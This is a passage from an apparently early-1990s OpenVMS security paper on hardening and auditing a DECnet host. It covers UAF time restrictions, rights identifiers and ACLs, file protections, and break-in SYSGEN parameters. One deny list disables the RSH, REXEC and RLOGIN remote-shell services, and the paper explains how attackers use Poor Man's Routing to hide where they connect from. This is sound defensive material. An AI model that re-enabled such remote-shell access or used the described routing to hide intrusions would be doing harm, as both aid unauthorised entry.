    $ MCR NCP SET    OBJECT PHONE PROXY NONE
    $ MCR NCP SET    OBJECT PHONE ALIAS INCOMING DISABLED
    $ MCR NCP SET    OBJECT PHONE ALIAS OUTGOING DISABLED
    $ MCR NCP DEFINE OBJECT PHONE USER  ILLEGAL PASSWORD DISABLED
    $ MCR NCP DEFINE OBJECT PHONE PROXY NONE
    $ MCR NCP DEFINE OBJECT PHONE ALIAS INCOMING DISABLED
    $ MCR NCP DEFINE OBJECT PHONE ALIAS OUTGOING DISABLED

   In  the second stage below, objects are modified so  that
   they  are  still usable, but subject to tighter  controls
   than the default.

   The  simplest  change  is made to the  MIRROR  object  by
   disabling   the   MIRRO$SERVER  account   in   the   User
   Authorisation File. The MIRROR object should be  kept  to
   allow  loopback  testing should it become necessary.  The
   account  is  disabled since it serves no  useful  purpose
   (other   than  for  loopback  testing),  and  should   be
   disabled unless in use.

   The  MAIL object should be modified thus according to the
   VMS  v5.5-2  release  notes, Section 2.8.7,  to  restrict
   outgoing  access  on  the mail server.  In  v5.5-2,  MAIL
   enables   system  privileges  when  it  opens  a   DECnet
   connection  to  a  remote  mail  server.  By  restricting
   outgoing  access  on the mail server object  (as  below),
   unauthorised    users   are   prevented   from    placing
   connections on the mail server object.

    $ MCR NCP SET    OBJECT MAIL OUTGOING CONNECT PRIVILEGE SYSPRV
    $ MCR NCP DEFINE OBJECT MAIL OUTGOING CONNECT PRIVILEGE SYSPRV

   This  can  be undone by executing the same commands  with
   "NOSYSPRV".  MAIL_SERVER.EXE (the  executable  associated
   with  the  MAIL  object)  is installed  as  a  privileged
   image.

   Wrappers  should also be installed for the  FAL  and  NML
   objects.  The  executable  images  for  these   are,   by
   default,   normally  FAL.EXE  and  NML.EXE  respectively.
   Modify the object database as shown below.

    $ MCR NCP SET    OBJECT FAL FILE LOCAL$WRAP:FAL.COM
    $ MCR NCP DEFINE OBJECT FAL FILE LOCAL$WRAP:FAL.COM
    $ MCR NCP SET    OBJECT NML FILE LOCAL$WRAP:NML.COM
    $ MCR NCP DEFINE OBJECT NML FILE LOCAL$WRAP:NML.COM

   The  contents  of the wrappers are discussed  in  Section
   4.1, Wrappers.

   2.4 System Logicals And Logical Definitions

   SYS$MANAGER:SYLOGICALS.COM   is   used    to    establish
   important  site-specific logical names across the  entire
   system. You can put meaningful local definitions in  here
   as  well  as  the definitions already supplied  with  the
   delivered system.

    $! Undocumented feature to disable poor man's routing
    $  DEFINE /SYSTEM /EXEC  FAL$LOG  "03/DISABLE=8"

   Poor  Man's Routing is explained in Section 3.3, FAL  and
   Poor Man's Routing.

   That  section  also  explains the  significance  of  this
   definition.  It's  relevance to this  section  is  merely
   that it is centrally defined in SYLOGICALS.COM.

    $! Make network server processes die after 10 seconds
    $! (to give separate NETSERVER.LOG files for
    $! each distinct operation)
    $ DEFINE /SYSTEM /EXEC  NETSERVER$TIMEOUT  "0000 00:00:10"

   This  forces  network server processes to  die  after  10
   seconds   of   lying   idle,   thus   creating   separate
   NETSERVER.LOG   files   for  each  essentially   distinct
   operation. The tradeoff for these distinct files  is  the
   price  that must be paid in terms of process creation  on
   each network connection.

    $! System databases
    $ DEFINE /SYSTEM /EXEC LMF$LICENSE    SYS$SYSTEM:LMF$LICENSE.LDB
    $ DEFINE /SYSTEM /EXEC NETNODE_REMOTE SYS$SYSTEM:NETNODE_REMOTE.DAT
    $ DEFINE /SYSTEM /EXEC NETPROXY       SYS$SYSTEM:NETPROXY.DAT
    $ DEFINE /SYSTEM /EXEC NETUAF         SYS$SYSTEM:NETUAF.DAT
    $ DEFINE /SYSTEM /EXEC RIGHTSLIST     SYS$SYSTEM:RIGHTSLIST.DAT
    $ DEFINE /SYSTEM /EXEC SYSUAF         SYS$SYSTEM:SYSUAF.DAT
    $ DEFINE /SYSTEM /EXEC VMSMAIL        SYS$SYSTEM:VMSMAIL_PROFILE.DAT

   If  these  aren't defined, and a user attempts operations
   on  them,  new  ones can be created by that  user.  These
   definitions  prevent  this.  Note  file  protections  for
   these files in Section 2.7, File Protections.

   Other  system-wide logical symbols (such  as  LOCAL$WRAP)
   would also be defined in this file.

   2.5 System Passwords

   VMS  systems can have what is called a "system password".
   This  is  a password that must be typed BEFORE  the  host
   prompts  you for login information. So when you initially
   connect  to a system with a "system password", you  don't
   get  any prompting on the screen. Once you have typed  in
   the password, the normal prompt message appears.

   The  system password will appear or not depending on  the
   value  of  the sysgen parameter TTY_DEFCHAR2. A value  of
   %X80000   (i.e.   Hex)  enables  system  password.   This
   parameter is not dynamic.

   The  SYSGEN  parameter TTY_DEFCHAR2 (bit  represented  by
   %X80000)  enables  system password  by  default  for  all
   terminals (including LAT, X.25 and telnet terminals).

   The default value for TTY_DEFCHAR2 is 4098 (decimal):

    $ RUN SYS$SYSTEM:SYSGEN
    SYSGEN>  USE DEFAULT
    SYSGEN>  SHO TTY_DEFCHAR2
    Parameter Name   Current   Default    Min.    Max.      Unit   Dynamic
    --------------   -------   -------   ------  ------     ----   -------
    TTY_DEFCHAR2        4098      4098     0       -1    Bit-Encode

   The    correct   value   can   be   set   by    modifying
   SYS$SYSTEM:MODPARAMS.DAT, and AUTOGENing the system.  The
   required  value  in MODPARAMS.DAT is set  by  adding  the
   following lines (amongst other values):

    TTY_DEFCHAR2 = %X80000 + %X1000 + %X2  ! = 528386
                 ! %X80000 (bit 19)     TT2$M_SYSPWD   System password
                 ! %X1000  (bit 12)     TT2$M_EDITING  Cmd line editing
                 ! %X2     (bit 1)      TT2$M_AUTOBAUD Autobaud

   The actual system password can be set either by DCL or
   by AUTHORIZE.

    $ SET PASSWORD /SYSTEM

   or else by

    $ RUN SYS$SYSTEM:AUTHORIZE
    UAF> MODIFY /SYSTEM_PASSWORD={password}

   Terminals  can  be set /NOSYSPWD /PERM  or  /SYSPWD.  See
   Section 2.1.1 SYSTARTUP_V5.COM for an example.

   2.6 The UAF File

   This  is an extremely useful file for tuning security  on
   an  OpenVMS machine. The UAF file (and associated  files)
   allow  you  to control access to the system and  allocate
   resources to users.

   For  the purposes of this paper, there are several fields
   worth  considering. Specifically, the ones  that  can  be
   used  include (but are not restricted to) access  control
   fields, password control fields and the rights list.

   On  the  particular  machine used in the  preparation  of
   this paper, there are several accounts that are used  for
   specific  purposes,  and  should  be  used  only   within
   specific  time frames. For instance, consider an  account
   (the  "USER1"  account for the purposes of this  example)
   which  should only be used interactively during the hours
   of  8am  to  7pm on primary days (Monday to Friday),  but
   can  run  batch  jobs at any time on any day.  All  other
   access is to be denied.

   This is achieved by the following commands:

    $ RUN SYS$SYSTEM:AUTHORIZE
    UAF> MODIFY USER1 /NONETWORK /NODIALUP -
         /LOCAL=(PRIMARY:8-18) /REMOTE=(PRIMARY:8-18)

   This  results  in an access control matrix like  the  one
   below.

   Primary days:   Mon Tue Wed Thu Fri 
   Secondary days:                     Sat Sun
   Primary   000000000011111111112222  Secondary   00000000001111111111222
   Day Hours 012345678901234567890123  Day Hours   012345678901234567890123
   Network:  -----  No access  ------            -----  No access  ------
   Batch:    ##### Full access ######            ##### Full access######
   Local:    --------###########-----            -----  No access  ------
   Dialup:   -----  No access  ------            -----  No access  ------
   Remote:   --------###########-----            -----  No access  ------

   Full access can be restored using:

    $ RUN SYS$SYSTEM:AUTHORIZE
    UAF> MODIFY USER1 /ACCESS=(PRIMARY:0-24,SECONDARY:0-24)

   Passwords  are  historically a  weak  point  in  computer
   systems.  A weak password on a single account leaves  the
   entire  system  vulnerable to attack.  (See  Appendix  2,
   SERT  Advisory  SA-93.04,  Guidelines  For  Developing  A
   Sensible Password Policy.)

   You  must  therefore  ensure that  all  accounts  have  a
   minimum  password length of 8 characters, and  that  they
   expire  at  regular  intervals. In  addition,  privileged
   accounts should have password lengths greater than  that,
   and   passwords   should   be  set   using   the   MODIFY
   {accountname} /GENERATE_PASSWORD command.

   The  other  important  use of the  AUTHORIZE  utility  is
   creating  rights  list identifiers  and  using  these  in
   conjunction  with  ACLs to control access  to  files  and
   devices at individual levels.

   For  instance,  on the machine used while preparing  this
   paper, there is a particular device and a directory  that
   should  only ever be accessed by a small group of people.
   This  device  is  used for a research  project,  and  the
   results  are kept in the directory. The entire  group  of
   people  involved with the experiment needed to  read  the
   results  (kept  in  the  DISKE:[EXPERIMENT1]  directory),
   whereas  only  a few people needed write access  to  this
   directory.  Furthermore, because they  were  all  in  the
   same  project  team,  they were all  allocated  the  same
   group  number. Finally, there was a restricted number  of
   people  in  this group who were authorised to access  the
   device used in the experiment in question.

   The  first step in controlling this is to create  various
   rights list identifiers, and granting them to people  who
   should  access  them.  The rights  list  identifiers  are
   created as follows:

    $ RUN SYS$SYSTEM:AUTHORIZE
    UAF> ADD /IDENTIFIER EXP1_READ
    UAF> ADD /IDENTIFIER EXP1_WRITE
    UAF> ADD /IDENTIFIER EXP1_CONTROL
    UAF> EXIT

   Users  1..10  are  allowed read access  to  the  results;
   users  5,  6 and 7 are allowed write access and  users  6
   and 7 are allowed to control the transducer.

    $ RUN SYS$SYSTEM:AUTHORIZE
    UAF> GRANT /IDENTIFIER EXP1_READ    USER1
    UAF> GRANT /IDENTIFIER EXP1_READ    USER2
    UAF> GRANT /IDENTIFIER EXP1_READ    USER3
    UAF> GRANT /IDENTIFIER EXP1_READ    USER4
    UAF> GRANT /IDENTIFIER EXP1_READ    USER8
    UAF> GRANT /IDENTIFIER EXP1_READ    USER9
    UAF> GRANT /IDENTIFIER EXP1_READ    USER10
    UAF> GRANT /IDENTIFIER EXP1_WRITE   USER5
    UAF> GRANT /IDENTIFIER EXP1_WRITE   USER6
    UAF> GRANT /IDENTIFIER EXP1_WRITE   USER7
    UAF> GRANT /IDENTIFIER EXP1_CONTROL USER6
    UAF> GRANT /IDENTIFIER EXP1_CONTROL USER7
    UAF> EXIT
    $

   ACLs  and  protection  are then set  on  the  device  and
   directory as set out in Section 2.8, ACLs.

   Finally,  great care has been taken in the allocation  of
   privileges  to  individual user accounts. In  particular,
   the  default  privileges  must be  kept  to  the  minimum
   required.

   2.7 File Protections

   File  protection  is an important aspect in  preventative
   security. Checks should be periodically carried  out  for
   world-writeable  files and directories,  and  appropriate
   action taken.

   In  addition, various sensitive files should be confirmed
   as having the following protection.

    <disk>:[000000]000000.DIR      (S:RWE,O:RWE,G:RE,W:E)
    <disk>:[000000]INDEXF.SYS      (S:RWE,O:RWE,G:RE,W)

       *  This  prevents  unauthorised  users  from  finding
          directory and file names.

    SYS$SYSTEM:AUTHORIZE.EXE       (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NCP.EXE             (S:RWE,O:RWE,G:RWE,W)

      *  This ensures that unauthorised users cannot  change
         the NCP and authorisation databases through the use
         of these  programs.  Note  that  merely  protecting
         these programs does not prevent modification of the
         data  files - it  is imperative that the data files
         themselves are protected.

    SYS$SYSTEM:NETCIRC.DAT        (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETCONF.DAT        (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETLINE.DAT        (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETLOGING.DAT      (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETNODE_LOCAL.DAT  (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETNODE_REMOTE.DAT (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETOBJECT.DAT      (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETPROXY.DAT       (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETUAF.DAT         (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETX25.DAT         (S:RWE,O:RWE,G:RWE,W)
    SYS$SYSTEM:NETX29.DAT         (S:RWE,O:RWE,G:RWE,W)

      *  This ensures that unauthorised users cannot  change
         information   in   these   databases,   nor    gain
         information    about    other   users   or   system
         configuration from these files.

    SYS$SYSTEM:RIGHTSLIST.DAT        (S:RWE,O:RWE,G:RE,W:RE)

    SYS$SYSTEM:SYSUAF.DAT            (S:RWE,O:RWE,G:RWE,W)
                                     ACL=(NETWORK,ACCESS=EXECUTE)

    SYS$SYSTEM:VMSMAIL.DAT           (S:RWE,O:RWE,G:RWE,W)

    SYS$SYSTEM:VMSMAIL_PROFILE.DATA  (S:RWE,O:RWE,G:RWE,W)

      *  This ensures that unauthorised users cannot  change
         information   in    these   databases,   nor   gain
         information about other users from these files.

   For  more  details  on  File  Protections,  see  Managing
   Security  in  a Multi-Vendor Network by Ron Tencati,  and
   also the Guide to VAX/VMS System Security manual.

   2.8 ACLs

   This  section, is a continuation of the example  supplied
   in  Section 2.6, The UAF File, about access control using
   rights list identifiers.

   In  a  particular  experiment, experimental  results  are
   being  kept  in  the DISKE:[EXPERIMENT1]  directory.  The
   results  are  obtained using a transducer  controlled  on
   device RCD0:.

   Various   rights   list  identifiers  to   read   results
   (EXP1_READ),  write  a  file  to  the  results  directory
   (EXP1_WRITE)  and  control the transducer  (EXP1_CONTROL)
   have  been created. These rights identifiers are used  in
   the  the  creation  of access control  lists  to  enforce
   these access control principles.

   The transducer is the first object so modified:

    $ SET ACL /OBJECT=DEVICE /ACL=( -
     (IDENTIFIER=SYSTEM,ACCESS=READ+WRITE+EXECUTE+DELETE+CONTROL), -
     (IDENTIFIER=EXP1_CONTROL,ACCESS=READ+WRITE+DELETE+CONTROL), -
     (IDENTIFIER=[*,*],ACCESS=NONE)) RCD0:

    $ SHOW DEVICE RCD0: /FULL
                 :
    {Device details on NODE1$RCD0: deleted}
                 :
    device, error logging is enabled.
    Error count                0    Operations completed 26
    Owner process             ""    Owner UIC   [0,0]
    Owner process ID    00000000    Dev Prot    S:RWED,O:RWED,G:RWED,W:RWED
    Reference count            0    Default buffer size   2048
    Density              unknown    Format  {deleted}
    Volume status:  {deleted}

    Device access control list:
    (IDENTIFIER=[SYSTEM],ACCESS=READ+WRITE+EXECUTE+DELETE+CONTROL)
    (IDENTIFIER=EXP1_CONTROL,ACCESS=READ+WRITE+EXECUTE+DELETE+CONTROL)
    (IDENTIFIER=[*,*],ACCESS=NONE)

   On  the machine used for preparing this paper, the nature
   of  the  device prevented us from changing the protection
   using  the  SET PROTECTION/DEVICE command.  However,  the
   ACL is sufficient to control access to this device.

   The  next  step  is to protect the directory  (and  files
   under  it).  An  ACL  is applied to  the  directory  file
   usinfg the commands on the next page.

    $ SET ACL /OBJECT=FILE /ACL=( -
       (IDENTIFIER=EXP1_WRITE,ACCESS=READ+WRITE+EXECUTE+DELETE+CONTROL), -
       (IDENTIFIER=EXP1_READ, ACCESS=READ+EXECUTE), -
       (IDENTIFIER=SYSTEM,    ACCESS=READ+EXECUTE), -
       (IDENTIFIER=[*,*],     ACCESS=NONE)) DISKE:[000000]EXPERIMENT1.DIR
    $
    $ SET PROTECTION DISKE:[000000]EXPERIMENT1.DIR /PROTECTION=(S,O,G,W)
    $

    $ DIR DISKE:[000000]EXPERIMENT1.DIR /SECURITY
    Directory DISKE:[000000]

    EXPERIMENT1.DIR;1     4    17-JUN-1992 11:19:27.01  [SYSTEM] (,,,)
    (IDENTIFIER=EXP1_WRITE,ACCESS=READ+WRITE+EXECUTE+DELETE+CONTROL)
    (IDENTIFIER=EXP1_READ,ACCESS=READ+EXECUTE)
    (IDENTIFIER=[SYSTEM],ACCESS=READ+EXECUTE)
    (IDENTIFIER=[*,*],ACCESS=NONE)
    Total of 1 file, 4 blocks.

   This means that only people who specifically possess  the
   EXP1_WRITE  rights  list identifier  can  write  to  this
   directory.  Users  who  possess the EXP1_READ  identifier
   can  read the contents of the directory as can the SYSTEM
   account  (but  not system privileged accounts  or  system
   UIC group members). All other access is denied.

   Note  that action is taken on the first match of the ACL.
   So,  for example, if the SYSTEM account is being used  to
   access   data  in  DISKE:[EXPERIMENT1],  and  the  system
   account  has  the EXP1_READ right, then SYSTEM  can  read
   the  data by virtue of this right as opposed to being the
   system   account.  The  reason  for  this  is  that   the
   EXP1_READ identifier occurs before [SYSTEM] in the ACL.

   Any  directories  created  in this  directory  after  the
   creation of this ACL will inherit this ACL.

   2.9 SYSGEN Parameters

   There   are  various  SYSGEN  parameters  that  must   be
   considered and/or changed during configuration.  Many  of
   these  are  related  to system performance  and  are  not
   within  the scope of this paper. Parameters that must  be
   considered  from  a  security point of  view  are  listed
   below,  with  extracts from the SYSGEN HELP  facility  on
   their   use.  (See  SYSGEN>  HELP  PARAMETERS  for   more
   details.)

   TTY_DEFCHAR2: Bit 19 (TT2$M_SYSPWD) is set to  allow  the
   use  of system passwords. The password was set using  the
   AUTHORIZE  utility  (see Section 2.5, System  Passwords),
   and  the  console is modified such that the  password  is
   not  required when logging on from that source (using SET
   TERMINAL  OPA0: /PERMANENT /NOSYSPASSWORD). (See  Section
   2.1.1, SYSTARTUP_V5.COM.) All other terminals must  enter
   the system password before the login prompt is issued.

   This  parameter  (TTY_DEFCHAR2). amongst others,  can  be
   set in SYS$SYSTEM:MODPARAMS.DAT with a single line:

   TTY_DEFCHAR2 = %X80000 + %X1000 + %X2        ! = 528386
                ! %X80000 (bit 19)   TT2$M_SYSPWD   System password
                ! %X1000  (bit 12)   TT2$M_EDITING  Cmd line editing
                ! %X2     (bit 1)    TT2$M_AUTOBAUD Autobaud

   LGI_PWD_TMO: Period of time, in seconds, a  user  has  to
   correctly  enter  the system password on  a  terminal  on
   which the system password is in effect.

   LGI_BRK_TMO:  Specifies  the number  of  seconds  that  a
   user,  terminal, or node is permitted to attempt a  login
   before  the  system  assumes that a  breakin  attempt  is
   occurring and evasive action is required.

   LGI_BRK_LIM:  Specifies the number of failures  that  may
   occur  at  login time before the system will take  action
   against a possible breakin.

   LGI_RETRY_TMO:  Specifies the number of  seconds  allowed
   between login retry attempts after a login failure.

   LGI_RETRY_LIM:  Specifies the number  of  retry  attempts
   allowed for users attempting to login over dialup lines.

   LGI_HID_TIM:   Specifies  the  number  of  seconds   that
   evasive action will persist following the detection of  a
   possible breakin attempt. The evasive action consists  of
   refusing   to  allow  any  logins  during  this   period,
   regardless of whether a valid user name and password  are
   specified.

   LGI_BRK_DISUSER: When set, turns on the DISUSER  flag  in
   the  UAF  record when an attempted breakin  is  detected,
   thus permanently locking out that account.

   LGI_BRK_TERM: Causes the terminal name to be part of  the
   association  string  for  the terminal  mode  of  breakin
   detection.

   Note  that if parameters are changed using SYSGEN, modify
   both  the  CURRENT image and the ACTIVE, running  system.
   Leave DEFAULT as it is.

   2.10 Tailoring UCX

   The  machine  being  configured  required  only  incoming
   telnet  access,  and outgoing telnet  and  ftp.  SMTP  is
   handled  by a dedicated mail package (MX). Other services
   like  SNMP,  NFS  and  Berkeley  "r"  commands  are   not
   required (or, in fact, desirable).

   Services not required are shutdown thus:

    $! -- Shutdown what we don't need
    $!
    $ @SYS$MANAGER:RPC$UCX_SHUTDOWN.COM
    $ @SYS$MANAGER:UCX$LPD_SHUTDOWN.COM
    $ @SYS$MANAGER:UCX$NFS_SHUTDOWN.COM
    $ @SYS$MANAGER:UCX$SMTP_SHUTDOWN.COM
    $ @SYS$MANAGER:UCX$SNMP_SHUTDOWN.COM
    $!
    $! -- Disable incoming connections on other services
    $!
    $ UCX DISABLE SERVICE FTP
    $ UCX DISABLE SERVICE REXEC
    $ UCX DISABLE SERVICE RLOGIN
    $ UCX DISABLE SERVICE RSH

   In  addition, the relevant UCX accounts are  disabled  in
   the  User Authorization File (using UAF> MODIFY <account>
   /flag=DisUser):  UCX$FTP,  UCX$NFS,  UCX$REXEC,  UCX$RSH,
   UCX$SNMP, UCX_LPD, UCX_SMTP. Telnet (interactive)  access
   should  be  monitored using a wrapper  (as  discussed  in
   Section 4.1, Wrappers).

   2.11 Proxies

   Proxies  should not be allowed if they are not  required!
   If  a  net proxy is required for file transfer, the proxy
   must  be  created on the remote machine, and the required
   command  issued on the local machine. The theory here  is
   that  the  local machine is less likely to be compromised
   than  an  outside  machine, and the use of  proxies  will
   reduce   the   instances  of  access  information   being
   transmitted over a network connection.

   Only  allow  proxy access to a non-privileged account  on
   the target system.

                 System Mechanisms For Configuring
                    The Machine To Log Activity

   There  are  several facilities available  to  the  system
   administrator to achieve effective logging.  Specifically
   these  are  accounting and auditing. There is also  scope
   for  development of local tools. In this section, I  will
   outline  the  use  of  the  standard  facilities,   while
   homegrown  mechanisms  will be  considered  in  the  next
   section.

   Firstly,  it  will  be useful to have  a  brief  look  at
   accounting and auditing. System accounting is a  facility
   for  recording information about the use of  the  machine
   from a normal system accounting perspective, whereas  the
   system  audit  logger  records similar  information,  but
   from a system security perspective. Both of these can  be
   used  to  construct audit trails of activity. Information
   from  the  system  audit logger can be gleaned  not  only
   from  the audit journal, but also from the operator  log,
   as the auditor also sends it's messages to OPCOM.

   Consider,  for  example,  a situation  in  which  a  user
   (USER1) has made a modification to USER2's entry  in  the
   User Authorization File.

   The audit logger returns the following information:

    Security alarm (SECURITY) and security audit (SECURITY) on NODE1,
        system id: 1072 / System UAF record modification
    Event time:            27-JUL-1993 12:15:17.47
    PID:                   0000005F
    Username:              USER1
    Image name:            NODE1$DKA0:[SYS0.SYSCOMMON.][SYSEXE]AUTHORIZE.EXE
    Object name:           SYS$COMMON:[SYSEXE]SYSUAF.DAT;1
    Object type:           file
    User record modified:  USER2
    Fields modified:       FLAGS,PRIVILEGES

   The accounting facility contains this:

   AUTHORIZE Image Termination
   ---------------------------
   Username:         USER1       UIC:               [STAFF,USER1]
   Account:       STAFF       Finish time:       27-JUL-1993 12:15:27.79
   Process ID:    0000005F    Start time:        27-JUL-1993 12:14:51.23
   Owner ID:                  Elapsed time:      0 00:00:36.56
   Terminal name: RTA1:       Processor time:    0 00:00:00.22
   Remote node addr: 1038     Priority:          4
   Remote node name: NODE2    Privilege <31-00>: 10148001
   Remote ID:     USER2       Privilege <63-32>: 00000040
   Queue entry:               Final status code: 00000001
   Queue name:
   Job name:
   Final status text: %SYSTEM-S-NORMAL, normal successful completion

   Page faults:      238         Direct IO:         32
   Page fault reads:   9         Buffered IO:       58
   Peak working set: 631         Volumes mounted:   0
   Peak page file:  1166         Images executed:   244
   Image name: NODE1$DKA0:[SYS0.SYSCOMMON.][SYSEXE]AUTHORIZE.EXE

   Both  facilities  tell us that USER1  ran  the  AUTHORIZE
   utility  successfully under PID 5F at 12:15 pm on 27-Jul-
   1993.  From the accounting, we can see at a glance  where
   USER1  logged in from. The audit logger tells us  exactly
   what USER1 did whilst running this utility.

   Consider  another  example, in which a  computer  cracker
   has  logged in from an X.25 network address in an attempt
   to  maintain anonymity. The audit server has recorded the
   following information in the operator log:

   %%%%%%%%%%%  OPCOM  27-Jul-1993 19:38:23.60  %%%%%%%%%%%
   Message from user AUDIT$SERVER on NODE1
   Security alarm (SECURITY) and security audit (SECURITY) on NODE1,
     system id: 1038
   Auditable event:    Dialup interactive login
   Event time:         27-Jul-1993 19:38:23.59
   PID:                20205316
   Username:           USER1
   Terminal name:      _VTA1514 ({X.25 address deleted})

   The  system accounting record from the same user  logging
   out returns the following information:

   LOGINOUT Image Termination
   --------------------------
   Username:      USER1       UIC:  [STAFF,USER1]
   Account:       STAFF       Finish time:     27-Jul-1993 03:36:17.69
   Process ID:    20205316    Start time:      27-Jul-1993 19:38:07.19
   Owner ID:                  Elapsed time:              0 07:58:10.50
   Terminal name: VTA1514     Processor time:            0 00:00:46.14
   Remote node addr:          Priority:                              4
   Remote node name:          Privilege <31-00>:              00108000
   Remote ID:                 Privilege <63-32>:              00000000
   Queue entry:               Final status code:              00000001
   Queue name:
   Job name:
   Final status text: %SYSTEM-S-NORMAL, normal successful completion

   Page faults:       4716        Direct IO:            20927
   Page fault reads:   208        Buffered IO:          85056
   Peak working set:   970        Volumes mounted:      0
   Peak page file:    4813        Images executed:      28
   Image name: NODE1$DKA0:[SYS0.SYSCOMMON.][SYSEXE]LOGINOUT.EXE

   The  two  records act as a useful cross  check  for  each
   other.  The  audit  logger shows the  X.25  address  from
   which the user logged in from (which is not available  in
   this  accounting record). The accounting  facility  shows
   the  length of time that the user was on the system. When
   this  information is collated with the network accounting
   information,  then  the  cost of the  connection  can  be
   calculated. Furthermore the accounting records and  audit
   records can be examined to aid in determining the  extent
   of the damage caused by the attacker.

   3.1 Accounting

   Confirm that required system accounting is enabled thus:

    $  SET ACCOUNTING /ENABLE[=(Keyword...)]

   The  command  above enables logging of all activities  on
   the  system  in  the accounting file. Accounting  can  be
   enabled to log the following activities.

        PROCESS               any process termination
        IMAGE                 image execution
        INTERACTIVE           interactive job termination
        LOGIN_FAILURE         login failures
        SUBPROCESS            subprocess termination
        DETACHED              detached job termination
        BATCH                 batch job termination
        NETWORK               network job termination
        PRINT                 all print jobs
        MESSAGE               user messages

   Each  day,  a  new accounting file should be  created  in
   order  to keep the accounting files of a manageable size,
   using the command -

    $ SET ACCOUNTING /NEW_FILE

   3.2 Auditing

   The  auditor  can  be  configured to  log  the  following
   events:

        ACL                 Event requested by an Access Control List Item
        AUTHORIZATION       Modification of the system user authorization file
        BREAKIN             Occurrence of a breakin attempt 
                             (from various sources)
        FILE_ACCESS         File or global section access
                             (by various methods)
        INSTALL             Occurrence of any INSTALL operation
        LOGFAILURE          Occurrence of a login failure
                             (from various sources)
        LOGIN               A login attempt (from various sources)
        LOGOUT              Occurrence of a logout
        MOUNT               Issuance of a mount or dismount request

   This  is  done  using  SET AUDIT /ENABLE=(keyword[,...]).
   The  /ALARM qualifier is also used to raise an  alarm  to
   all terminals enabled as security operators.

   You  can  examine the configuration of your system  audit
   server  using SHOW AUDIT /ALL. The categories that should
   be   carefully   considered  are  the   auditing   server
   characteristics, the alarm failure mode, and the  enabled
   security alarms.

   Note  that  within  the auditing server  characteristics,
   the  default final resource action is to crash the system
   if  the  system  runs out of virtual memory.  This  means
   that  if  the  disk containing the audit journal  log  is
   full, the system will crash, thus exposing the system  to
   denial  of  service attacks. When configuring  the  audit
   server,  you should carefully consider the final resource
   action  parameter.  It can be set  using  the  SET  AUDIT
   command.

    $ SET AUDIT /SERVER=FINAL_ACTION=action

   (where  action  can  be  one  of  CRASH,  IGNORE_NEW   or
   PURGE_OLD)

   As  with system accounting, a new audit journal should be
   created each day:

    $ SET AUDIT /SERVER=NEW_LOG

   3.3 FAL and Poor Man's Routing

   In  order  to  properly explain the step  taken  in  this
   phase,  it  is  necessary to understand what  Poor  Man's
   Routing  is,  and how it is linked with the  File  Access
   Listener (FAL) object and the logical FAL$LOG.

   The  FAL  object  (File Access Listener)  is  the  DECnet
   object that allows a remote user to access files on  your
   node.  It  can  be used to browse your node,  or  perform
   file  transfers. For legitimate users, this is  extremely
   useful  - unfortunately, people with malintent also  find
   it useful if your system is not protected.

   In  the  context  of  DECnet networking  operations  (and
   specifically  FAL), "Poor Man's Routing (PMR)  refers  to
   the  technique  of  supplying an  explicit  path  to  the
   required  target,  rather  than letting  assigned  DECnet
   routers  pick the most optimal path" [Tencati]. When  PMR
   is  used,  a process is created on each node in the  path
   to  forward the connection to the next node in the  path.
   Each  of  these  nodes (including the  destination  node)
   only  sees the connection from it's path predecessor.  It
   is   therefore  very  difficult  to  ascertain  from  the
   destination node where the connection originated from.

   The  legitimate use of this is in cases where the  source
   node  may  not  know  anything  about  the  remote  note.
   Unfortunately,  people  with  malintent   can   use   the
   properties  described above to create a  convoluted  path
   to  the  node  they wish to attack (possibly via  several
   timezones and countries) to hide themselves effectively.

   PMR  can  also  be  used to defeat the hiding  of  DECnet
   subnets. There is a parameter in the NCP database  called
   the  maximum  area  (see NCP> HELP SET  EXECUTOR  MAXIMUM
   AREA).  This parameter specifies the largest area  number
   known  to an executor's routing layer. If used carefully,
   this  parameter can be used to hide subnets. PMR  can  be
   used  to  circumvent this technique if the  attacker  has
   appropriate  information about your network design.  (The
   lesson  here is to never trust security through obscurity
   -  always  rely on robust, proactive methods rather  than
   ignorance.) Ron Tencati's Managing Security in  a  Multi-
   Vendor  Network gives a good explanation of PMR, and  the
   use of Area Routing.

   You  can  configure  FAL  by use of  the  logical  symbol
   FAL$LOG. In the machine used in the preparation  of  this
   paper, this logical was configured to do two things:

     * refuse connections made by PMR
     * supply   audit  trail  information  in  NETSERVER.LOG
       files in the case of successful FAL connections.

   The  logical name FAL$LOG translates to a string  of  the
   form xx_yy where:

     * xx  is  a  hexadecimal number representing a longword
       string value
     * yy  is a hexadecimal number specifying how many bytes
       of  each  DAP message are to be displayed in the  log
       file (SYS$OUTPUT:).

   The hexadecimal flags are:

       0001 - log filename/function requests
       0002 - log throughput statistics
       0004 - log individual DAP messages
       0008 - log DAP message packet AST requests (logged at AST level)
       0010 - log DAP message packet QIO requests
       0020 - reserved
       0040 - disable DAP message blocking
       0080 - disable DAP CRC error checking

   In  SYS$MANAGER:SYLOGICALS.COM, FAL$LOG should be defined
   to  be  the character string "03/DISABLE=8" (See  Section
   2.4,   System  Logicals  And  Logical  Definitions).   By
   setting  this  logical to this value,  the  following  is
   achieved:

     * PMR is disabled ("/DISABLE=8")
     * filename/function requests and throughput  statistics
       are  logged (the setting "03" being  the addition  of
       "01" and "02"

   Consider  an  example where NODE1::USER1 is  executing  a
   directory on NODE2::USER2's home directory. In  the  file
   NETSERVER.LOG  in  USER2's directory, we  would  see  the
   following results.

   With no definition for FAL$LOG:

          --------------------------------------------------------
            Connect request received at 28-JUL-1993 15:36:45.78
                  from remote process NODE1::"0=USER1"
                  for object "SYS$COMMON:[SYSEXE]FAL.EXE"
          --------------------------------------------------------

   With   FAL$LOG   defined  to  be  "03/DISABLE=8",   extra
   information is appended:

         --------------------------------------------------------
         Connect request received at 28-JUL-1993 15:55:40.28
         from remote process NODE1::"0=USER1"
         for object "SYS$COMMON:[SYSEXE]FAL.EXE"
         --------------------------------------------------------

         ========================================================
